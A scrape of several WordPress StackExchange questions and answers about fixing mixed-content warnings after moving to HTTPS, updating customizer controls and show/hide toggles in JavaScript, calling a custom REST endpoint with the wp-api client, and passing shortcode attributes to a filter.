<p>I'm getting many warnings like:</p> <pre><code> Mixed Content: The page at 'https://www.example.in/' was loaded over HTTPS, but requested an insecure image 'http://www.example.in/wp-content/uploads/2014/12/logo_250.png'. This content should also be served over HTTPS. </code></pre> <p>After following <a href="https://wordpress.stackexchange.com/questions/191711/ssl-breaks-customizer-page-isnt-returned-from-ajax">SSL breaks customizer: page isn&#39;t returned from ajax</a> answer I could fix many warnings.</p> <p>I've run these commands from mysql:</p> <pre><code>UPDATE wp_posts SET guid = replace(guid, 'http://www.example.com','https://www.example.com'); UPDATE wp_posts SET post_content = replace(post_content, 'http://www.example.com', 'https://www.example.com'); UPDATE wp_postmeta SET meta_value = replace(meta_value,'http://www.example.com','https://www.example.com'); </code></pre> <p>Now still many images are using http: prefix within the wp_options table in value column.</p> <p>When I run this the site breaks down though I'm able to get green secured lock in the address bar of browser:</p> <pre><code>UPDATE wp_options SET option_value = replace(option_value, 'http://www.example.com','https://www.example.com'); </code></pre> <p>Actually in the <code>wp_options</code> there is <code>option_name</code> <code>qode_options_proya</code> which is storing in JSON form. If we change from http to https in this JSON format it is causing some issues. How to resolve it?</p>
[ { "answer_id": 266842, "author": "Porosh Ahammed", "author_id": 68186, "author_profile": "https://wordpress.stackexchange.com/users/68186", "pm_score": 0, "selected": false, "text": "<p>You can try this: </p>\n\n<pre><code> UPDATE `wp_options` SET `option_value` = \"https://www.yoursite.com\" WHERE `wp_options`.`option_name` = 'siteurl';\n</code></pre>\n" }, { "answer_id": 266846, "author": "bynicolas", "author_id": 99217, "author_profile": "https://wordpress.stackexchange.com/users/99217", "pm_score": 1, "selected": false, "text": "<p>Yeah you need to update more than just the <code>siteurl</code> values if you wish that every reference (post and attachment included) are updated properly.</p>\n\n<p>And you can't update that with simple SQL queries because you are going to break the serialization of arrays.</p>\n\n<p>The best thing you can do is use <a href=\"https://github.com/interconnectit/Search-Replace-DB\" rel=\"nofollow noreferrer\">Search Replace DB</a>.</p>\n\n<p>Download the script from github, upload it to your server to a subfolder. For instance, <code>https://example.com/searchdb</code> and follow the instructions there.</p>\n\n<p>You simply need to search for <code>http://example.com</code> and replace with <code>https://example.com</code>. But you can search and replace pretty much anything in your database.</p>\n\n<p>Keep in mind that this will perform queries in your database and edit stuff... so you better keep a good backup of your database, in case something goes wrong.</p>\n\n<p>I never had any issues with the script, it works perfectly... but better be safe than sorry.</p>\n\n<p>One last thing... <strong>REMEMBER TO DELETE THE SUBFOLDER AFTER USAGE</strong>. You don't want the script to be laying around on an open server !</p>\n" }, { "answer_id": 266870, "author": "user5858", "author_id": 119632, "author_profile": "https://wordpress.stackexchange.com/users/119632", "pm_score": 0, "selected": false, "text": "<p>wp_options option_value contained JSONified value. We can't manually change it. </p>\n\n<p>In the Bridge theme Quode Options I had to again save the logos for the JSON to be updated which worked. Changing the JSON otherwise will simply corrupt it I guess.</p>\n" } ]
2017/05/14
[ "https://wordpress.stackexchange.com/questions/266841", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119632/" ]
I'm getting many warnings like: ``` Mixed Content: The page at 'https://www.example.in/' was loaded over HTTPS, but requested an insecure image 'http://www.example.in/wp-content/uploads/2014/12/logo_250.png'. This content should also be served over HTTPS. ``` After following [SSL breaks customizer: page isn't returned from ajax](https://wordpress.stackexchange.com/questions/191711/ssl-breaks-customizer-page-isnt-returned-from-ajax) answer I could fix many warnings. I've run these commands from mysql: ``` UPDATE wp_posts SET guid = replace(guid, 'http://www.example.com','https://www.example.com'); UPDATE wp_posts SET post_content = replace(post_content, 'http://www.example.com', 'https://www.example.com'); UPDATE wp_postmeta SET meta_value = replace(meta_value,'http://www.example.com','https://www.example.com'); ``` Now still many images are using http: prefix within the wp\_options table in value column. When I run this the site breaks down though I'm able to get green secured lock in the address bar of browser: ``` UPDATE wp_options SET option_value = replace(option_value, 'http://www.example.com','https://www.example.com'); ``` Actually in the `wp_options` there is `option_name` `qode_options_proya` which is storing in JSON form. If we change from http to https in this JSON format it is causing some issues. How to resolve it?
Yeah you need to update more than just the `siteurl` values if you wish that every reference (post and attachment included) are updated properly. And you can't update that with simple SQL queries because you are going to break the serialization of arrays. The best thing you can do is use [Search Replace DB](https://github.com/interconnectit/Search-Replace-DB). Download the script from github, upload it to your server to a subfolder. For instance, `https://example.com/searchdb` and follow the instructions there. You simply need to search for `http://example.com` and replace with `https://example.com`. But you can search and replace pretty much anything in your database. Keep in mind that this will perform queries in your database and edit stuff... so you better keep a good backup of your database, in case something goes wrong. I never had any issues with the script, it works perfectly... but better be safe than sorry. One last thing... **REMEMBER TO DELETE THE SUBFOLDER AFTER USAGE**. You don't want the script to be laying around on an open server !
266,853
<p>Let's say I have two customizer controls "setting_category" and "setting_font", I'm trying to change the choices of "setting_font" upon changing the value of "setting_category". Here's what I'm doing:</p> <pre><code>( function( $ ) { var api = wp.customize; api( 'setting_category', function( value ) { value.bind( function( to ) { var newChoices = {}; // get new data from JSON using 'to' and populate the 'newChoices' api( 'setting_font' ).changeTheChoices( newChoices ); } ); } ); } )( jQuery ); </code></pre> <p>How can it be done with JavaScript? Any trick?</p>
[ { "answer_id": 266908, "author": "Weston Ruter", "author_id": 8521, "author_profile": "https://wordpress.stackexchange.com/users/8521", "pm_score": 1, "selected": false, "text": "<p>You're close. You just need to replace <code>changeTheChoices()</code> with <code>set()</code> as this is a method on <code>wp.customize.Setting</code>. See the following which also refactors a bit:</p>\n\n<pre><code>wp.customize( 'setting_category', 'setting_font', function( categorySetting, fontSetting ) {\n categorySetting.bind( function( category ) {\n var newChoices = {};\n // get new data from JSON using 'category' and populate the 'newChoices'\n\n fontSetting.set( newChoices );\n });\n});\n</code></pre>\n\n<p>Tip: I suggest not using \"<code>setting</code>\" in the IDs for your settings.</p>\n" }, { "answer_id": 266913, "author": "5ervant - techintel.github.io", "author_id": 73330, "author_profile": "https://wordpress.stackexchange.com/users/73330", "pm_score": 1, "selected": true, "text": "<p>Here's the solution that I found, it may be useful for some instance:</p>\n\n<pre><code>parent.wp.customize.control( 'setting_category', function( control ) {\n control.setting.bind( function( to ) {\n var selectElem = parent.wp.customize.control( 'setting_font' ).container.find( 'select' );\n\n selectElem.empty();\n $.each( jsonData['items'], function( key, item ) {\n if ( item['category'] === to ) {\n var option = $( '&lt;option&gt;&lt;/option&gt;' )\n .attr( \"value\", encodeURIComponent( item['family'] ) )\n .text( item['family'] );\n selectElem.append( option );\n }\n } );\n } );\n} );\n</code></pre>\n" } ]
2017/05/14
[ "https://wordpress.stackexchange.com/questions/266853", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/73330/" ]
Let's say I have two customizer controls "setting\_category" and "setting\_font", I'm trying to change the choices of "setting\_font" upon changing the value of "setting\_category". Here's what I'm doing: ``` ( function( $ ) { var api = wp.customize; api( 'setting_category', function( value ) { value.bind( function( to ) { var newChoices = {}; // get new data from JSON using 'to' and populate the 'newChoices' api( 'setting_font' ).changeTheChoices( newChoices ); } ); } ); } )( jQuery ); ``` How can it be done with JavaScript? Any trick?
Here's the solution that I found, it may be useful for some instance: ``` parent.wp.customize.control( 'setting_category', function( control ) { control.setting.bind( function( to ) { var selectElem = parent.wp.customize.control( 'setting_font' ).container.find( 'select' ); selectElem.empty(); $.each( jsonData['items'], function( key, item ) { if ( item['category'] === to ) { var option = $( '<option></option>' ) .attr( "value", encodeURIComponent( item['family'] ) ) .text( item['family'] ); selectElem.append( option ); } } ); } ); } ); ```
266,868
<p>So,</p> <p>I have a product post type with custom meta boxes. One of the meta box is for additional details. I show the custom post type inside other posts using a shortcode.</p> <p>I can show the additional details on the frontend. When the details is kind of long I want to add a show more link which will show the rest of the details when clicked.</p> <p>How do I do that?</p> <p>Something like they have here. <a href="https://www.retailmenot.com/" rel="nofollow noreferrer">https://www.retailmenot.com/</a> When clicked on the 'More', full details are shown.</p> <p>Thanks in advance.</p>
[ { "answer_id": 266872, "author": "Porosh Ahammed", "author_id": 68186, "author_profile": "https://wordpress.stackexchange.com/users/68186", "pm_score": 0, "selected": false, "text": "<p>you can try this for you meta box data: </p>\n\n<p>Query your meta data with this:</p>\n\n<pre><code>&lt;?php \n $slider = new WP_Query(array(\n 'post_type' =&gt; 'post',\n 'posts_per_page' =&gt; 5,\n 'post_status' =&gt; 'publish',\n 'meta_query' =&gt; array(\n array(\n 'key' =&gt; 'your metabox key',\n 'value' =&gt; 'your metabox value',\n 'compare' =&gt; 'IN'\n ) \n )\n\n\n ));\n\n if($slider-&gt;have_posts()) :\n while($slider-&gt;have_posts()) : $slider-&gt;the_post();\n $idd = get_the_ID();\n?&gt;\n\n &lt;?php echo get_excerpt(); ?&gt;\n &lt;?php \n\n endwhile;\n endif;\n\n\n\n ?&gt;\n</code></pre>\n\n<p>And put this code into functions.php:</p>\n\n<pre><code>function get_excerpt(){\n\n$excerpt = get_the_content();\n\n$excerpt = preg_replace(\" (\\[.*?\\])\",'',$excerpt);\n\n$excerpt = strip_shortcodes($excerpt);\n\n$excerpt = strip_tags($excerpt);\n\n$excerpt = substr($excerpt, 0, 820);\n\n$excerpt = substr($excerpt, 0, strripos($excerpt, \" \"));\n\n$excerpt = trim(preg_replace( '/\\s+/', ' ', $excerpt));\n\n$excerpt = $excerpt.'.... &lt;a href=\"'.get_permalink().'\" class=\"read_more\"&gt;&lt;h4 style=\"margin:0;\"&gt;Details&lt;/h4&gt;&lt;/a&gt;';\n\nreturn $excerpt;\n\n}\n</code></pre>\n" }, { "answer_id": 266911, "author": "hwl", "author_id": 118366, "author_profile": "https://wordpress.stackexchange.com/users/118366", "pm_score": 2, "selected": true, "text": "<p>What you're describing, and the example you linked, is using javascript to toggle the display style attribute of a container div. </p>\n\n<p>The example you linked is only using it when additional details are available, and they have placed them within a separate div to the description text, etc.</p>\n\n<h2>The functionality works as follows:</h2>\n\n<p>We have a some <code>divs</code> with ids, and a <code>&lt;span&gt;</code> with an onclick calling our javascript function, <code>showHide()</code>. In this example, we are concerned with showing/hiding the <code>div</code> with id <code>showAndHide</code>: </p>\n\n<pre><code>&lt;div id=\"somewrapper\"&gt;\n &lt;div id=\"always-visible\"&gt;\n &lt;span onclick=\"showHide()\"&gt;Read More&lt;/span&gt;\n &lt;/div&gt;\n &lt;div id=\"showAndHide\"&gt;\n &lt;p&gt;This is the show-and-hide div.&lt;/p&gt;\n &lt;/div&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>For the javascript portion:</p>\n\n<p>We get the div by its id and set it to a variable, here <code>sh</code>. Then we check the state of <code>sh</code>'s style:display attribute. If it is <code>none</code>, the <code>onclick()</code> sets it to <code>block</code> to show it. If it has <code>block</code>, then it sets it <code>none</code>, <em>\"hiding\"</em> it.</p>\n\n<p>All of that is done very easily in a few lines of code:</p>\n\n<pre><code>&lt;script&gt;\nfunction showHide() {\n var sh = document.getElementById('showAndHide');\n if (sh.style.display === 'none') {\n sh.style.display = 'block';\n } else {\n sh.style.display = 'none';\n }\n}\n&lt;/script&gt;\n</code></pre>\n\n<p><a href=\"https://www.w3schools.com/howto/tryit.asp?filename=tryhow_js_toggle_hide_show\" rel=\"nofollow noreferrer\">W3C gives a very clean example of this you can try in your browser</a></p>\n\n<p><strong>As a sidenote</strong>, you could achieve similar functionality with the css <code>visibility</code> attribute, but it behaves differently. <code>Display:none;</code> will not take up space, it is effectively removed; while with <code>visibility:hidden;</code> the element's place is preserved. That is unless you are dealing with <code>table</code> elements and using the <code>collapse</code> value. Since the example you linked <strong>was not</strong> using <code>tr</code>s, and the space <strong>does</strong> <em>expand</em>/<em>collapse</em>, I opted for <code>Display:Block/None</code>. \n<a href=\"https://www.w3schools.com/cssref/pr_class_visibility.asp\" rel=\"nofollow noreferrer\">Read More on Visibility: visible/hidden/collapse here.</a></p>\n\n<p>A <a href=\"https://www.w3schools.com/css/css_display_visibility.asp\" rel=\"nofollow noreferrer\">much more knowledgeable explanation on the differences between Display and Visibility</a></p>\n\n<h2>Adding this functionality to a shortcode's output in wordpress</h2>\n\n<p>1) You need the id(s) of the element(s) you wish to show/hide.</p>\n\n<p>2) If you're going to add a \"read more\" text and onclick, you will need to know either a) a measurable point at which to insert it in the containing div, or b) an element to which it can be <a href=\"https://www.w3schools.com/jquery/html_prepend.asp\" rel=\"nofollow noreferrer\">prepended</a> or <a href=\"https://www.w3schools.com/jquery/html_append.asp\" rel=\"nofollow noreferrer\">appended</a>.</p>\n\n<p>3) take the full javascript function(s), add them to a file, <em>myShowHide.js</em> perhaps, and upload it to your child theme's directory. </p>\n\n<p>4) In <em>functions.php</em>, Register the script with <a href=\"https://developer.wordpress.org/reference/functions/wp_register_script/\" rel=\"nofollow noreferrer\"><code>wp_register_script</code></a> and Enqueue it with <a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_script/\" rel=\"nofollow noreferrer\"><code>wp_enqueue_script</code></a> to include that javascript file in your template pages. You can also wrap <code>wp_enqueue_script</code> in a function if you need it to only include the script on certain pages.</p>\n" } ]
2017/05/14
[ "https://wordpress.stackexchange.com/questions/266868", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/95244/" ]
So, I have a product post type with custom meta boxes. One of the meta box is for additional details. I show the custom post type inside other posts using a shortcode. I can show the additional details on the frontend. When the details is kind of long I want to add a show more link which will show the rest of the details when clicked. How do I do that? Something like they have here. <https://www.retailmenot.com/> When clicked on the 'More', full details are shown. Thanks in advance.
What you're describing, and the example you linked, is using javascript to toggle the display style attribute of a container div. The example you linked is only using it when additional details are available, and they have placed them within a separate div to the description text, etc. The functionality works as follows: ----------------------------------- We have a some `divs` with ids, and a `<span>` with an onclick calling our javascript function, `showHide()`. In this example, we are concerned with showing/hiding the `div` with id `showAndHide`: ``` <div id="somewrapper"> <div id="always-visible"> <span onclick="showHide()">Read More</span> </div> <div id="showAndHide"> <p>This is the show-and-hide div.</p> </div> </div> ``` For the javascript portion: We get the div by its id and set it to a variable, here `sh`. Then we check the state of `sh`'s style:display attribute. If it is `none`, the `onclick()` sets it to `block` to show it. If it has `block`, then it sets it `none`, *"hiding"* it. All of that is done very easily in a few lines of code: ``` <script> function showHide() { var sh = document.getElementById('showAndHide'); if (sh.style.display === 'none') { sh.style.display = 'block'; } else { sh.style.display = 'none'; } } </script> ``` [W3C gives a very clean example of this you can try in your browser](https://www.w3schools.com/howto/tryit.asp?filename=tryhow_js_toggle_hide_show) **As a sidenote**, you could achieve similar functionality with the css `visibility` attribute, but it behaves differently. `Display:none;` will not take up space, it is effectively removed; while with `visibility:hidden;` the element's place is preserved. That is unless you are dealing with `table` elements and using the `collapse` value. Since the example you linked **was not** using `tr`s, and the space **does** *expand*/*collapse*, I opted for `Display:Block/None`. [Read More on Visibility: visible/hidden/collapse here.](https://www.w3schools.com/cssref/pr_class_visibility.asp) A [much more knowledgeable explanation on the differences between Display and Visibility](https://www.w3schools.com/css/css_display_visibility.asp) Adding this functionality to a shortcode's output in wordpress -------------------------------------------------------------- 1) You need the id(s) of the element(s) you wish to show/hide. 2) If you're going to add a "read more" text and onclick, you will need to know either a) a measurable point at which to insert it in the containing div, or b) an element to which it can be [prepended](https://www.w3schools.com/jquery/html_prepend.asp) or [appended](https://www.w3schools.com/jquery/html_append.asp). 3) take the full javascript function(s), add them to a file, *myShowHide.js* perhaps, and upload it to your child theme's directory. 4) In *functions.php*, Register the script with [`wp_register_script`](https://developer.wordpress.org/reference/functions/wp_register_script/) and Enqueue it with [`wp_enqueue_script`](https://developer.wordpress.org/reference/functions/wp_enqueue_script/) to include that javascript file in your template pages. You can also wrap `wp_enqueue_script` in a function if you need it to only include the script on certain pages.
266,890
<p>I'm trying to figure out how I should call a REST API custom endpoint from the JS code of a plugin. Here is the PHP code of a sample plugin I've just written to show my issue. The filename is <code>rest-api-sample.php</code>:</p> <pre><code>&lt;?php /** * @link https://www.virtualbit.it * @since 1.0.0 * @package Rest-API-Sample * * @wordpress-plugin * Plugin Name: Rest API Sample * Plugin URI: https://www.virtualbit.it/rest-api-sample * Description: Just a code sample * Version: 1.0.4 * Author: Lucio Crusca * Author URI: https://www.virtualbit.it * License: GPL-2.0+ * License URI: http://www.gnu.org/licenses/gpl-2.0.txt * Text Domain: rest-api-sample * Domain Path: /languages */ class IESRestEndpoint { private $namespace = "ies/v1"; public function __construct() { add_action( 'rest_api_init', array($this, 'registerRoutes')); add_action( 'wp_enqueue_scripts', array($this, 'enqueue_scripts')); } public function istermactive(WP_REST_Request $request) { $result = true; return $result; // this is my controller. } public function registerRoutes() { register_rest_route( $this-&gt;namespace, '/istermactive/', array('methods' =&gt; 'GET', 'callback' =&gt; array($this, 'istermactive') ) ); } public function enqueue_scripts() { $handle = "ies-rest-api"; $jsfileurl = plugin_dir_url( __FILE__ ) . '/ies.js'; wp_register_script($handle, $jsfileurl, array("underscore", "backbone", "wp-api")); $local_data = array('apiRoot' =&gt; get_rest_url(), "namespace" =&gt; $this-&gt;namespace); wp_localize_script($handle, "ies_rest", $local_data); wp_enqueue_script($handle); } } $ies_endpoint = new IESRestEndpoint(); </code></pre> <p>And here is the <code>ies.js</code> code:</p> <pre><code>(function( $ ) { 'use strict'; $(document).ready(function() { wp.api.init({'versionString' : ies_rest.namespace, 'apiRoot': ies_rest.apiRoot}).done(function() { wp.api.loadPromise.done(function () { wp.api.namespace(ies_rest.namespace).istermactive().done(function (active) { alert(active); }); }); }); }); })( jQuery ); </code></pre> <p>However this JS code, in WP 4.7.4/4.7.5, throws an exception in the JS console after the call to <code>wp.api.init()</code> and before it reaches the call to <code>wp.api.loadPromise()</code>:</p> <pre><code>Uncaught TypeError: _.includes is not a function at wp-api.min.js?ver=4.7.4:1 at Function.h.each.h.forEach (underscore-min.js?ver=4.7.4:1) at Object.wp.api.utils.decorateFromRoute (wp-api.min.js?ver=4.7.4:1) at wp-api.min.js?ver=4.7.4:1 at Function.h.each.h.forEach (underscore-min.js?ver=4.7.4:1) at n.constructFromSchema (wp-api.min.js?ver=4.7.4:1) at n.&lt;anonymous&gt; (wp-api.min.js?ver=4.7.4:1) at n.&lt;anonymous&gt; (backbone.min.js?ver=1.2.3:1) at n.&lt;anonymous&gt; (underscore.min.js?ver=1.8.3:5) at _ (backbone.min.js?ver=1.2.3:1) </code></pre> <p>The same code, using WP 4.8beta2, seems to work at least until it reaches the <code>wp.api.namespace()</code> call, where I get:</p> <pre><code>Uncaught TypeError: wp.api.namespace is not a function at Object.&lt;anonymous&gt; (https://www.virtualbit.it/wp-content/plugins/rest-api-sample//ies.js?ver=4.8-beta2:10:16) at i (https://www.virtualbit.it/wp-includes/js/jquery/jquery.js?ver=1.12.4:2:27449) at Object.add [as done] (https://www.virtualbit.it/wp-includes/js/jquery/jquery.js?ver=1.12.4:2:27748) at Object.&lt;anonymous&gt; (https://www.virtualbit.it/wp-content/plugins/rest-api-sample//ies.js?ver=4.8-beta2:8:26) at i (https://www.virtualbit.it/wp-includes/js/jquery/jquery.js?ver=1.12.4:2:27449) at Object.fireWith [as resolveWith] (https://www.virtualbit.it/wp-includes/js/jquery/jquery.js?ver=1.12.4:2:28213) at Object.e.(anonymous function) [as resolve] (https://www.virtualbit.it/wp-includes/js/jquery/jquery.js?ver=1.12.4:2:29192) at Object.&lt;anonymous&gt; (https://www.virtualbit.it/wp-includes/js/wp-api.min.js?ver=4.8-beta2:1:13404) at i (https://www.virtualbit.it/wp-includes/js/jquery/jquery.js?ver=1.12.4:2:27449) at Object.fireWith [as resolveWith] (https://www.virtualbit.it/wp-includes/js/jquery/jquery.js?ver=1.12.4:2:28213) </code></pre> <p>My JS file (ies.js) is not even mentioned in the stack trace of the 4.7.x exception, while in 4.8beta2 it seems a simple syntax error, but I don't know how should I otherwise call my endpoint. </p> <p>I thought it could be a WP bug (maybe a documentation bug), and I opened a bug report. It turned out it's NOT a WP bug, so this question still needs an answer, but Adam, who replied to my bug report, gave us <a href="https://core.trac.wordpress.org/ticket/40798#comment:1" rel="nofollow noreferrer">some valuable informations</a>. </p> <p>As for the suggestion <a href="https://stackexchange.com/users/2273888/birgire">birgire</a> gave in comments, unfortunately I have no clue about how to use the <code>QUnit</code> code, maybe you can walk me through that?</p> <p>If you want to try this sample plugin, <a href="https://www.virtualbit.it/wp-content/uploads/2017/05/rest-api-sample.zip" rel="nofollow noreferrer">you can find it here</a>, and, just in case you are interested, you can debug the JS code at <a href="https://www.virtualbit.it" rel="nofollow noreferrer">my website homepage</a>, where this sample plugin is already installed (WP version is 4.8beta2 as of time of this writing).</p>
[ { "answer_id": 266891, "author": "hwl", "author_id": 118366, "author_profile": "https://wordpress.stackexchange.com/users/118366", "pm_score": 2, "selected": false, "text": "<h2>previous answer:</h2>\n\n<p>It appears your JS isn't loaded. You have registered the script, but haven't enqueued it.\nAdd <a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_script/\" rel=\"nofollow noreferrer\">wp_enqueue_script</a> after you register it. \nYou can also use <a href=\"https://codex.wordpress.org/Function_Reference/wp_localize_script\" rel=\"nofollow noreferrer\">wp_localize_script</a> to pass dependencies to your script and make variables from your php available to it.</p>\n\n<p>Both above linked to codex on those functions. </p>\n" }, { "answer_id": 267745, "author": "y_power", "author_id": 120227, "author_profile": "https://wordpress.stackexchange.com/users/120227", "pm_score": 0, "selected": false, "text": "<p>It seems the first error is related to <a href=\"http://underscorejs.org/\" rel=\"nofollow noreferrer\">Underscore.js</a>, you should try adding underscore (and Backbone) as your script's dependency:</p>\n\n<pre><code>wp_register_script($handle, $jsfileurl, array(\"underscore\", \"backbone\", \"wp-api\"));\n</code></pre>\n" }, { "answer_id": 267843, "author": "Adam Silverstein", "author_id": 110547, "author_profile": "https://wordpress.stackexchange.com/users/110547", "pm_score": 4, "selected": true, "text": "<p>It looks like you are trying to send a POST request to the /istermactive endpoint, is that correct? (I think you may want to remove the trailing slash from the endpoint?)</p>\n\n<p>I'm not really sure the wp-api client is the right tool for a standard ajax POST, you may want to use jQuery.ajax or use WordPress's helper <a href=\"https://lkwdwrd.com/using-wp-ajax-async-requests/\" rel=\"noreferrer\">wp-ajax</a>. </p>\n\n<p>The wp-api client is designed to help you when you want to interact with a collection of items or a single item (eg posts or a post) when retrieved from the WP-API. It creates Backbone models and collections by parsing the API schema. <a href=\"https://developer.wordpress.org/rest-api/using-the-rest-api/backbone-javascript-client/\" rel=\"noreferrer\">Check here</a> for some docs (which are in need of some updates).</p>\n" }, { "answer_id": 267852, "author": "Lucio Crusca", "author_id": 84622, "author_profile": "https://wordpress.stackexchange.com/users/84622", "pm_score": 0, "selected": false, "text": "<p>The solution to what I'm trying to do, as requested by the bounty description (e.g. using backbone.js), does not exist. As per Adam Silverstein (core WP developer) answer here and by private messages, I've now understood that:</p>\n\n<ol>\n<li><code>namespace()</code> simply does not exist in the WP bundled Rest Api client (backbone.js) and if I want to POST to a PHP function, I have to use standard ajax calls</li>\n<li>If I use backbone, I should swap the <code>wp.api.init</code> and <code>wp.api.loadPromise</code> calls, e.g. <code>loadPromise</code> before <code>init</code>.</li>\n<li>My PHP code, if I want to use backbone.js, must define models and collections</li>\n<li>However I can also use <a href=\"https://github.com/WP-API/node-wpapi\" rel=\"nofollow noreferrer\">the same client</a> I was using back in the <a href=\"https://github.com/WP-API/WP-API\" rel=\"nofollow noreferrer\">WP API plugin</a> days with the current Rest API, and I get my <code>namespace()</code> function back.</li>\n</ol>\n\n<p>Thanks Adam, you deserve the bounty reward.</p>\n" } ]
2017/05/14
[ "https://wordpress.stackexchange.com/questions/266890", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/84622/" ]
I'm trying to figure out how I should call a REST API custom endpoint from the JS code of a plugin. Here is the PHP code of a sample plugin I've just written to show my issue. The filename is `rest-api-sample.php`: ``` <?php /** * @link https://www.virtualbit.it * @since 1.0.0 * @package Rest-API-Sample * * @wordpress-plugin * Plugin Name: Rest API Sample * Plugin URI: https://www.virtualbit.it/rest-api-sample * Description: Just a code sample * Version: 1.0.4 * Author: Lucio Crusca * Author URI: https://www.virtualbit.it * License: GPL-2.0+ * License URI: http://www.gnu.org/licenses/gpl-2.0.txt * Text Domain: rest-api-sample * Domain Path: /languages */ class IESRestEndpoint { private $namespace = "ies/v1"; public function __construct() { add_action( 'rest_api_init', array($this, 'registerRoutes')); add_action( 'wp_enqueue_scripts', array($this, 'enqueue_scripts')); } public function istermactive(WP_REST_Request $request) { $result = true; return $result; // this is my controller. } public function registerRoutes() { register_rest_route( $this->namespace, '/istermactive/', array('methods' => 'GET', 'callback' => array($this, 'istermactive') ) ); } public function enqueue_scripts() { $handle = "ies-rest-api"; $jsfileurl = plugin_dir_url( __FILE__ ) . '/ies.js'; wp_register_script($handle, $jsfileurl, array("underscore", "backbone", "wp-api")); $local_data = array('apiRoot' => get_rest_url(), "namespace" => $this->namespace); wp_localize_script($handle, "ies_rest", $local_data); wp_enqueue_script($handle); } } $ies_endpoint = new IESRestEndpoint(); ``` And here is the `ies.js` code: ``` (function( $ ) { 'use strict'; $(document).ready(function() { wp.api.init({'versionString' : ies_rest.namespace, 'apiRoot': ies_rest.apiRoot}).done(function() { wp.api.loadPromise.done(function () { wp.api.namespace(ies_rest.namespace).istermactive().done(function (active) { alert(active); }); }); }); }); })( jQuery ); ``` However this JS code, in WP 4.7.4/4.7.5, throws an exception in the JS console after the call to `wp.api.init()` and before it reaches the call to `wp.api.loadPromise()`: ``` Uncaught TypeError: _.includes is not a function at wp-api.min.js?ver=4.7.4:1 at Function.h.each.h.forEach (underscore-min.js?ver=4.7.4:1) at Object.wp.api.utils.decorateFromRoute (wp-api.min.js?ver=4.7.4:1) at wp-api.min.js?ver=4.7.4:1 at Function.h.each.h.forEach (underscore-min.js?ver=4.7.4:1) at n.constructFromSchema (wp-api.min.js?ver=4.7.4:1) at n.<anonymous> (wp-api.min.js?ver=4.7.4:1) at n.<anonymous> (backbone.min.js?ver=1.2.3:1) at n.<anonymous> (underscore.min.js?ver=1.8.3:5) at _ (backbone.min.js?ver=1.2.3:1) ``` The same code, using WP 4.8beta2, seems to work at least until it reaches the `wp.api.namespace()` call, where I get: ``` Uncaught TypeError: wp.api.namespace is not a function at Object.<anonymous> (https://www.virtualbit.it/wp-content/plugins/rest-api-sample//ies.js?ver=4.8-beta2:10:16) at i (https://www.virtualbit.it/wp-includes/js/jquery/jquery.js?ver=1.12.4:2:27449) at Object.add [as done] (https://www.virtualbit.it/wp-includes/js/jquery/jquery.js?ver=1.12.4:2:27748) at Object.<anonymous> (https://www.virtualbit.it/wp-content/plugins/rest-api-sample//ies.js?ver=4.8-beta2:8:26) at i (https://www.virtualbit.it/wp-includes/js/jquery/jquery.js?ver=1.12.4:2:27449) at Object.fireWith [as resolveWith] (https://www.virtualbit.it/wp-includes/js/jquery/jquery.js?ver=1.12.4:2:28213) at Object.e.(anonymous function) [as resolve] (https://www.virtualbit.it/wp-includes/js/jquery/jquery.js?ver=1.12.4:2:29192) at Object.<anonymous> (https://www.virtualbit.it/wp-includes/js/wp-api.min.js?ver=4.8-beta2:1:13404) at i (https://www.virtualbit.it/wp-includes/js/jquery/jquery.js?ver=1.12.4:2:27449) at Object.fireWith [as resolveWith] (https://www.virtualbit.it/wp-includes/js/jquery/jquery.js?ver=1.12.4:2:28213) ``` My JS file (ies.js) is not even mentioned in the stack trace of the 4.7.x exception, while in 4.8beta2 it seems a simple syntax error, but I don't know how should I otherwise call my endpoint. I thought it could be a WP bug (maybe a documentation bug), and I opened a bug report. It turned out it's NOT a WP bug, so this question still needs an answer, but Adam, who replied to my bug report, gave us [some valuable informations](https://core.trac.wordpress.org/ticket/40798#comment:1). As for the suggestion [birgire](https://stackexchange.com/users/2273888/birgire) gave in comments, unfortunately I have no clue about how to use the `QUnit` code, maybe you can walk me through that? If you want to try this sample plugin, [you can find it here](https://www.virtualbit.it/wp-content/uploads/2017/05/rest-api-sample.zip), and, just in case you are interested, you can debug the JS code at [my website homepage](https://www.virtualbit.it), where this sample plugin is already installed (WP version is 4.8beta2 as of time of this writing).
It looks like you are trying to send a POST request to the /istermactive endpoint, is that correct? (I think you may want to remove the trailing slash from the endpoint?) I'm not really sure the wp-api client is the right tool for a standard ajax POST, you may want to use jQuery.ajax or use WordPress's helper [wp-ajax](https://lkwdwrd.com/using-wp-ajax-async-requests/). The wp-api client is designed to help you when you want to interact with a collection of items or a single item (eg posts or a post) when retrieved from the WP-API. It creates Backbone models and collections by parsing the API schema. [Check here](https://developer.wordpress.org/rest-api/using-the-rest-api/backbone-javascript-client/) for some docs (which are in need of some updates).
266,896
<p>I'm trying to get the input value of a shortcode inside a function that is used by a filter, but there seems to be no success. Here is what i did:</p> <pre><code>function my_shortcode_function($atts){ $value = $atts['id']; function filter_value(){ echo $value; } add_filter('posts_where','filter_value'); } add_shortcode('my-shortcode','my_shortcode_function'); </code></pre> <p>Now i know using <code>$value</code> inside <code>filter_value()</code> won't work because of variable scopes, but even using <code>$GLOBALS['value']</code> doesn't work. </p> <p>I even tried using <code>$value = $atts['id']</code> inside the <code>filter_value();</code> but no success either.</p> <p>How can i use my shortcode like <code>[my-shortcode id='123']</code> and pass the 123 value to the filter?</p> <p>Thanks.</p>
